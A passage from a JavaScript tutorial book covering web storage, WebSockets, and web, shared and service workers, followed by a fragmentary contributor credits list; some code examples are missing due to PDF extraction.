long as it's open, but is visible nowhere else.
// Maintain the volume if the user clicks a link then navigates back here.
audio.volume = Number(sessionStorage.getItem('volume') || 1.0);
audio.onvolumechange = function(event) {
sessionStorage.setItem('volume', audio.volume);
};
https://riptutorial.com/ 565
Save data to sessionStorage
sessionStorage.setItem('key', 'value');
sessionStorage.removeItem('key')
Clearing storage
localStorage.clear();
Error conditions
Most browsers, when configured to block cookies, will also block localStorage. Attempts to use it
will result in an exception. Do not forget to manage these cases.
To remove a specific item from the browser Storage (the opposite of setItem) use removeItem
localStorage.removeItem("greet");
Example:
localStorage.setItem("greet", "hi");
localStorage.removeItem("greet");
https://riptutorial.com/ 566
www.dbooks.org
Simpler way of handling Storage
localStorage, sessionStorage
are JavaScript Objects and you can treat them as such.
Instead of using Storage Methods like .getItem(), .setItem(), etc… here's a simpler alternative:
// Set
localStorage.greet = "Hi!"; // Same as: window.localStorage.setItem("greet", "Hi!");
// Get
localStorage.greet; // Same as: window.localStorage.getItem("greet");
// Remove item
delete localStorage.greet; // Same as: window.localStorage.removeItem("greet");
// Clear storage
localStorage.clear();
Example:
// Retrieve values
var someYear = localStorage.year; // "2017"
localStorage length
localStorage.length property returns an integer number indicating the number of elements in the
localStorage
Example:
Set Items
localStorage.setItem('StackOverflow', 'Documentation');
localStorage.setItem('font', 'Helvetica');
localStorage.setItem('image', 'sprite.svg');
https://riptutorial.com/ 567
Get length
localStorage.length; // 3
https://riptutorial.com/ 568
www.dbooks.org
Chapter 105: WebSockets
Introduction
WebSocket is protocol, which enables two-way communication between a client and server:
The goal WebSocket is to provide a mechanism for browser-based applications that need two-way
communication with servers that does not rely on opening multiple HTTP connections. (RFC 6455)
Syntax
• new WebSocket(url)
• ws.binaryType /* delivery type of received message: "arraybuffer" or "blob" */
• ws.close()
• ws.send(data)
• ws.onmessage = function(message) { /* ... */ }
• ws.onopen = function() { /* ... */ }
• ws.onerror = function() { /* ... */ }
• ws.onclose = function() { /* ... */ }
Parameters
Parameter Details
Examples
Establish a web socket connection
https://riptutorial.com/ 569
//onmessage : Event Listener - Triggered when we receive message form server
ws.onmessage = function(message) {
if (message === value) {
console.log("The echo host sent the correct message.");
} else {
console.log("Expected: " + value);
console.log("Received: " + message);
}
};
//onopen : Event Listener - event is triggered when websockets readyState changes to open
which means now we are ready to send and receives messages from server
ws.onopen = function() {
//send is used to send the message to server
ws.send(value);
};
bufferView.setFloat32(0, Math.PI);
bufferView.setUint8(4, 127);
ws.binaryType = 'arraybuffer';
ws.onmessage = function(message) {
var view = new DataView(message.data);
console.log('Uint8:', view.getUint8(4), 'Float32:', view.getFloat32(0))
};
ws.onopen = function() {
ws.send(buffer);
};
This uses the wss instead of ws to make a secure web socket connection which make use of
HTTPS instead of HTTP
https://riptutorial.com/ 570
www.dbooks.org
Chapter 106: Workers
Syntax
• new Worker(file)
• postMessage(data, transfers)
• onmessage = function(message) { /* ... */ }
• onerror = function(message) { /* ... */ }
• terminate()
Remarks
• Service workers are only enabled for websites served over HTTPS.
Examples
Register a service worker
• You can call register() on every page load. If the SW is already registered, the browser
provides you with instance that is already running
• The SW file can be any name. sw.js is common.
• The location of the SW file is important because it defines the SW's scope. For example, an
SW file at /js/sw.js can only intercept fetch requests for files that begin with /js/. For this
reason you usually see the SW file at the top-level directory of the project.
Web Worker
A web worker is a simple way to run scripts in background threads as the worker thread can
perform tasks (including I/O tasks using xmlHttpRequest) without interfering with the user
interface. Once created, a worker can send messages which can be different data types (except
functions) to the JavaScript code that created it by posting messages to an event handler specified
by that code (and vice versa.)
https://riptutorial.com/ 571
var webworker = new Worker("./path/to/webworker.js");
It's also possible to create a Worker dynamically from a string using URL.createObjectURL():
The same method can be combined with Function.toString() to create a worker from an existing
function:
main.js
A service worker is an event-driven worker registered against an origin and a path. It
takes the form of a JavaScript file that can control the web page/site it is associated
with, intercepting and modifying navigation and resource requests, and caching
resources in a very granular fashion to give you complete control over how your app
behaves in certain situations (the most obvious one being when the network is not
available.)
Source: MDN
Few Things:
1. It's a JavaScript Worker, so it can't access the DOM directly
2. It's a programmable network proxy
3. It will be terminated when not in use and restarted when it's next needed
4. A service worker has a lifecycle which is completely separate from your web page
5. HTTPS is Needed
This code that will be executed in the Document context, (or) this JavaScript will be included in
your page via a <script> tag.
https://riptutorial.com/ 572
www.dbooks.org
if ('serviceWorker' in navigator) {
navigator
.serviceWorker
.register(
// path to the service worker file
'sw.js'
)
// the registration is async and it returns a promise
.then(function (reg) {
console.log('Registration Successful');
});
}
sw.js
This is the service worker code and is executed in the ServiceWorker Global Scope.
Dedicated Workers
A dedicated web worker is only accessible by the script that called it.
Main application:
worker.js:
self.addEventListener('message', function(msg) {
console.log('Worker received arguments:', msg.data);
self.postMessage(msg.data[0] + msg.data[1]);
});
Shared Workers
A shared worker is accessible by multiple scripts — even if they are being accessed by different
windows, iframes or even workers.
Creating a shared worker is very similar to how to create a dedicated one, but instead of the
straight-forward communication between the main thread and the worker thread, you'll have to
communicate via a port object, i.e., an explicit port has to be opened so multiple scripts can use it
https://riptutorial.com/ 573
to communicate with the shared worker. (Note that dedicated workers do this implicitly)
Main application
myWorker.port.postMessage([2,3]);
worker.js
self.onconnect = function(e) {
var port = e.ports[0]; // get the port
port.onmessage = function(e) {
console.log('Worker revceived arguemnts:', e.data);
port.postMessage(e.data[0] + e.data[1]);
}
}
Note that setting up this message handler in the worker thread also implicitly opens the port
connection back to the parent thread, so the call to port.start() is not actually needed, as noted
above.
Terminate a worker
Once you are done with a worker you should terminate it. This helps to free up resources for other
applications on the user’s computer.
Main Thread:
Note: The terminate method is not available for service workers. It will be terminated when not in
use, and restarted when it's next needed.
Worker Thread:
After your service worker is registered, the browser will try to install & later activate the service
worker.
https://riptutorial.com/ 574
www.dbooks.org
this.addEventListener('install', function(event) {
console.log('installed');
});
Caching
One can use this install event returned to cache the assets needed to run the app offline. Below
example uses the cache api to do the same.
this.addEventListener('install', function(event) {
event.waitUntil(
caches.open('v1').then(function(cache) {
return cache.addAll([
/* Array of all the assets that needs to be cached */
'/css/style.css',
'/js/app.js',
'/images/snowTroopers.jpg'
]);
})
);
});
Since workers run in a separate thread from the one that created them, communication needs to
happen via postMessage.
Note: Because of the different export prefixes, some browsers have webkitPostMessage instead of
postMessage. You should override postMessage to make sure workers "work" (no pun intended) in the
most places possible:
// Create a worker
var webworker = new Worker("./path/to/webworker.js");
https://riptutorial.com/ 575
self.addEventListener("message", function(event) {
// `event.data` contains the value or object sent from main
console.log("Message from parent:", event.data); // "Sample message"
});
webworker.onmessage = function(event) {
console.log("Message from worker:", event.data); // ["foo", "bar", "baz"]
}
self.onmessage = function(event) {
console.log("Message from parent:", event.data); // "Sample message"
}
https://riptutorial.com/ 576
www.dbooks.org
Credits
S.
Chapters Contributors
No
https://riptutorial.com/ 577
MessageEvent
https://riptutorial.com/ 578
www.dbooks.org
, John Slegers, JonMark Perry, kapantzak, kevguy, Meow,
Michał Perłakowski, Mike McCaughan, ndugger, Neal, Nhan,
Nuri Tasdemir, P.J.Meisch, Pankaj Upadhyay, Paul S.,
Qianyue, RamenChef, Richard Turner, Scimonster, Stephen
Leppik, SZenC, TheGenie OfTruth, Travis J, Vlad Nicula,
wackozacko, Will, Wladimir Palant, zur4ik
Behavioral Design
12 Daniel LIn, Jinw, Mike C, ProllyGeek, tomturton
Patterns
Bitwise Operators -
15 Real World Examples csander, HopeNick
(snippets)
https://riptutorial.com/ 579
Scabbiolo, ndugger, Neal, Nick, Peter Seliger, QoP, Quartz
Fog, rvighne, skreborn, Yosvel Quintero
https://riptutorial.com/ 580
www.dbooks.org
4444, abhishek, Blindman67, Cerbrus, Christian, Daniel LIn,
daniellmb, et_l, Firas Moalla, H. Pauwelyn, Jason
Dinkelmann, Jinw, Jonathan, Jonathan Weiß, JSON C11,
Creational Design Lisa Gagarina, Louis Barranqueiro, Luca Campanale, Maciej
27
Patterns Gurban, Marina K., Mike C, naveen, nem035, PedroSouki,
PitaJ, ProllyGeek, pseudosavant, Quill, RamenChef, rishabh
dev, Roman Ponomarev, Spencer Wieczorek, Taras Lukavyi
, tomturton, Tschallacka, WebBrother, zb'
https://riptutorial.com/ 581
40 Escape Sequences GOTO 0
execCommand and
43 Lambda Ninja, Mikhail, Roko C. Buljan, rvighne
contenteditable
https://riptutorial.com/ 582
www.dbooks.org
Global error handling in
51 Andrew Sklyarevsky
browsers
https://riptutorial.com/ 583
Triskalweiss
Modularization
66 A.M.K, Downgoat, Joshua Kleveter, Mike C
Techniques
https://riptutorial.com/ 584
www.dbooks.org
Stradowski, daniellmb, Dave Sag, David, David G., Devid
Farinelli, devlin carnate, Domenic, Duh-Wayne-101, dunnza,
Durgpal Singh, Emissary, enrico.bacis, Erik Minarini, Evan
Bechtol, Everettss, FliegendeWurst, fracz, Franck
Dernoncourt, fson, Gabriel L., Gaurav Gandhi, geek1011,
georg, havenchyk, Henrique Barcelos, Hunan Rostomyan,
iBelieve, Igor Raush, Jamen, James Donnelly, JBCP, jchitel,
Jerska, John Slegers, Jojodmo, Joseph, Joshua Breeden,
K48, Knu, leo.fcx, little pootis, luisfarzati, Maciej Gurban,
Madara Uchiha, maioman, Marc, Marco Scabbiolo, Marina
K., Matas Vaitkevicius, Mattew Whitt, Maurizio Carboni,
Maximillian Laumeister, Meow, Michał Perłakowski, Mike C,
Mike McCaughan, Mohamed El-Sayed, MotKohn,
Motocarota, Naeem Shaikh, nalply, Neal, nicael, Niels, Nuri
Tasdemir, patrick96, Pinal, pktangyue, QoP, Quill,
Radouane ROUFID, RamenChef, Rion Williams, riyaz-ali,
Roamer-1888, Ryan, Ryan Hilbert, Sayakiss, Shoe, Siguza,
Slayther, solidcell, Squidward, Stanley Cup Phil, Steve
Greatrex, sudo bangbang, Sumurai8, Sunnyok, syb0rg,
SZenC, tcooc, teppic, TheGenie OfTruth, Timo, ton, Tresdin,
user2314737, Ven, Vincent Sels, Vladimir Gabrielyan, w00t,
wackozacko, Wladimir Palant, WolfgangTS, Yosvel Quintero
, Yury Fedorov, Zack Harley, Zaz, zb', Zoltan.Tamasi
https://riptutorial.com/ 585
nseepana, Ortomala Lokni, Sibeesh Venu, Sumurai8, Sunny
R Gupta, SZenC, ton, Wolfgang, YakovL, Zack Harley, Zirak
https://riptutorial.com/ 586
www.dbooks.org
A.M.K, Ates Goral, Cerbrus, Chris, Devid Farinelli, JCOC611
96 Unary Operators , Knu, Nina Scholz, RamenChef, Rohit Jindal, Siguza, splay,
Stephen Leppik, Sven, XavCo7
Using javascript to
98 get/set CSS custom Anurag Singh Bisht, Community, Mike C
variables
103 Web Cryptography API Jeremy Banks, Matthew Crumley, Peter Bielak, still_learning
https://riptutorial.com/ 587